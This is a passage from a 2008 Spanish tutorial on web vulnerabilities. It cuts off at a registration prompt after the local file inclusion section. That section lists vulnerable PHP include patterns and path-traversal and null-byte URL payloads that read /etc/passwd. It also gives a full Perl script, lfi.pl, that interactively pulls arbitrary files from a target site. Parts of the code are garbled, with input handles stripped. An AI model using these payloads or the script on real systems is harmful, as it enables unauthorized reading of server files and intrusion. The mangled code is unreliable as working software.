Vulnerabilidades Web
|=-----------------------------------------------------------------------=|
|=-----=[ pepelux[at]enye-sec[dot]org ]=-------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ 12/10/2008 ]-=--------------------------=|
--[ Contenido
1 - Introduccion
2 -Local y Remote File Inclusion (LFI/RFI)
2.1 - Introduccion
2.2 - Ejecutando comandos remotamente
2.2.1 - Inyectando codigo PHP en los logs de apache
2.2.2 - Inyectando codigo PHP en la tabla de procesos
2.2.3 - Inyectando codigo PHP en una imagen
2.2.4 - Inyectando codigo PHP en los ficheros de sesiones
2.2.5 - Inyectando codigo PHP en otros archivos
2.3 - Obteniendo una shell
2.4 - RemoteFile Inclusion
3 - Blind SQL Injection
3.1 - Introduccion
3.2 - Cargando ficheros locales
3.3 - Obteniendo datos sin fuerza bruta
3.4 - Ejecutando comandos remotamente
3.5 - Obteniendo una shell
4 - Referencias
---[ 1 - Introduccion
Existen muchas vulnerabilidades que nos permiten explotar una web, todas muy
antiguas y documentadas. Tenemos ataques LFI, RFI, SQL, XSS, SSI, ICH, etc. Porese motivo me voy a centrar unicamente en aquellos ataques que permiten acceder
al sistema y ejecutar comandos remotamente.
Seria muy aburrido hacer un recopilatorio contando lo mismo de siempre, por lo
que tratare de aportar alguna cosa nueva y contar lo basico solo por encima.
---[ 2 - Local y Remote File Inclusion (LFI/RFI)
----[ 2.1 - Introduccion
Este tipo de ataque es ya muyconocido y basicamente consiste en leer ficheros
del sistema aprovechando fallos de programacion que realizan llamadas a otros
ficheros mediante los comandos require, require_once, include e include_once.
Logicamente, llamadas en las que entre en juego alguna variable no inicializada.
Ejemplos:
require($file);
require("includes/".$file);
require("languages/".$lang.".php");require("themes/".$tema."/config.php");
Las formas de explotarlo son bien conocidas y no voy a entrar en detalles, tan
solo las voy a enumerar. Por ejemplo:
Tipo de llamada:
require($file);
Forma de explotarlo:
http://host/?file=/etc/passwd
Tipo de llamada:
require("includes/".$file);
Forma de explotarlo:
http://host/?file=../../../../../etc/passwd
Tipos de llamada:
require("languages/".$lang.".php");require("themes/".$theme."/config.php");
Forma de explotarlo:
http://host/?file=../../../../../etc/passwd%00
Tipo de llamada:
require("languages/".$_COOKIE['lang'].".php");
Forma de explotarlo:
javascript:document.cookie = "lan=../../../../../etc/passwd%00";
Un script que explota esto, por GET o POST, podria ser:
lfi.pl
--------------------------------------------#! /usr/bin/perl
# perlscript to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
#
URL: http://site.com/index.php
#
Variable: var
#
Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $var, $method) = @ARGV ;
unless($ARGV[2]) {
print "Usage: perl $0 \n";
print "\tex: perl $0 http://site.com/index.php varGET\n";
print "\tex: perl $0 http://site.com/index.php var POST\n\n";
exit 1;
}
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);
while () {
print "file to edit: ";
chomp($file=);
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../..".$file."%00";
$req = HTTP::Request->new(GET => $url);$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../".$file."%00");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
print $result;
}
else { print "Error\n"; }
}
------------------------------------------------[ 2.2 - Ejecutando...
Regístrate para leer el documento completo.